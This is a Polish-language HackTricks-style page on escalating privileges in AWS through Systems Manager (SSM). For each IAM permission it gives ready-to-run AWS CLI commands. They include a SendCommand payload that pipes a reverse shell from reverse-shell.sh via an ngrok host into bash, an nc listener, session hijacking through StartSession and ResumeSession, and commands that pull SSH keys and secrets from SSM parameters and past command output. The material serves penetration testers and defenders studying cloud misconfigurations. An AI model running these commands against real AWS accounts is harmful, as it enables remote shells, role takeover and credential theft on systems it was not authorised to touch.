AWS - SSM Privesc

Wsparcie dla HackTricks

SSM

Aby uzyskać więcej informacji o SSM, sprawdź:

ssm:SendCommand

Atakujący z uprawnieniem ssm:SendCommand może wykonywać polecenia w instancjach działających z Amazon SSM Agent i kompromitować rolę IAM działającą w jej obrębie.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencjalny wpływ: Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.

ssm:StartSession

Atakujący z uprawnieniem ssm:StartSession może rozpocząć sesję podobną do SSH w instancjach uruchamiających agenta Amazon SSM i skompromitować rolę IAM działającą wewnątrz niej.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.

Podniesienie uprawnień do ECS

Gdy zadania ECS są uruchamiane z włączoną opcją ExecuteCommand, użytkownicy z wystarczającymi uprawnieniami mogą użyć ecs execute-command, aby wykonać polecenie wewnątrz kontenera. Zgodnie z dokumentacją odbywa się to poprzez utworzenie bezpiecznego kanału między urządzeniem, którego używasz do inicjowania polecenia “exec”, a docelowym kontenerem z SSM Session Manager. (Wtyczka SSM Session Manager jest niezbędna do działania tej funkcji) Dlatego użytkownicy z ssm:StartSession będą mogli uzyskać powłokę wewnątrz zadań ECS z włączoną tą opcją, po prostu uruchamiając:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról ECS IAM przypisanych do uruchomionych zadań z włączonym ExecuteCommand.

ssm:ResumeSession

Atakujący z uprawnieniem ssm:ResumeSession może ponownie uruchomić sesję podobną do SSH w instancjach działających z Amazon SSM Agent w stanie sesji SSM rozłączonej i skompromitować rolę IAM działającą w jej obrębie.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencjalny wpływ: Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM i rozłączonymi sesjami.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Atakujący z wymienionymi uprawnieniami będzie w stanie wylistować parametry SSM i odczytać je w postaci tekstu jawnego. W tych parametrach często znajdziesz wrażliwe informacje takie jak klucze SSH lub klucze API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencjalny wpływ: Znalezienie wrażliwych informacji w parametrach.

ssm:ListCommands

Atakujący z tym uprawnieniem może wylistować wszystkie komendy wysłane i miejmy nadzieję znaleźć wrażliwe informacje w nich.

aws ssm list-commands

Potencjalny wpływ: Znalezienie wrażliwych informacji w liniach poleceń.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Atakujący z tymi uprawnieniami może wylistować wszystkie polecenia wysłane i przeczytać wygenerowany wynik, mając nadzieję na znalezienie wrażliwych informacji w nim.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencjalny wpływ: Znajdź wrażliwe informacje w wynikach poleceń.

Codebuild

Możesz również użyć SSM, aby dostać się do projektu codebuild, który jest budowany:

Wsparcie dla HackTricks

Last updated